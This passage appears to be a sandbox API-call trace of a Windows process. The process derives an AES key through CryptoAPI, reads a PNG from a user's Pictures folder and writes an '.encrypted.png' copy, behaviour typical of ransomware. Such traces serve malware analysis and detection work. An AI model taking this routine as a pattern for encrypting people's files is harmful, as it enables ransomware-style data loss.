lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.507] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.507] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.507] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b450, dwDataLen=0x20, dwFlags=0x1) returned 1 [0028.507] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.507] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.507] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.507] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.507] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.507] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.507] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.507] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.507] CryptDeriveKey (in: hProv=0xe8f419a0a0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062aa0) returned 1 [0028.507] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.507] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.507] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.507] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.507] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.507] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.507] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0028.507] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.507] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0028.508] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.509] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.509] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.509] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.509] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.509] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\RZEzoNWn812VN.png" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq\\rzezonwn812vn.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.509] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.509] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0028.509] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.509] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.509] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.510] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq")) returned 0x10 [0028.510] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\RZEzoNWn812VN.encrypted.png" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq\\rzezonwn812vn.encrypted.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.510] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.510] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.510] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.510] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.512] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0028.512] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x49af, lpOverlapped=0x0) returned 1 [0028.512] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0028.525] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.525] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.526] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.526] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0028.526] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.526] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.526] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0028.526] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.526] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0028.527] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.527] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.527] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.527] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0028.527] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.527] CryptGetKeyParam (in: hKey=0xe8f4062aa0, dwParam=0x7, pbData=0xe8f4064cc0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064cc0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0028.527] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.527] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.527] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.527] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.527] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.527] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.528] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.528] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.528] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.528] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.528] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.528] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.528] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.528] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.528] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.528] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.528] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.528] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.528] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.528] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.528] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.528] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.528] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.528] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.528] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.528] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x49af, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x49b0) returned 1 [0028.528] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.528] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.528] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.528] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.528] CharLowerBuffW (in: lpsz="byte[18865]", cchLength=0xb | out: lpsz="byte[18865]") returned 0xb [0028.528] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.529] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.529] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.529] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.529] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.529] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43833b0*, pdwDataLen=0xe8f3dfdf68*=0x49af, dwBufLen=0x49b0 | out: pbData=0xe8f43833b0*, pdwDataLen=0xe8f3dfdf68*=0x49b0) returned 1 [0028.529] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.529] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.529] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.529] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.529] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.529] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.529] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.529] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.529] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.529] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.529] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.529] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.529] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.529] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.529] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.530] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.530] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.530] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.530] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.530] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.530] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.530] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.530] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0028.530] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.530] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.530] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0028.531] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.531] CryptDestroyKey (hKey=0xe8f4062aa0) returned 1 [0028.531] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.531] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.531] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.531] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.531] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.531] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.531] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.531] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.531] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.531] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0028.531] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.531] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.531] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.531] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.531] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.531] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.531] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.531] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.531] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.531] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.531] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.531] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.531] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.531] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 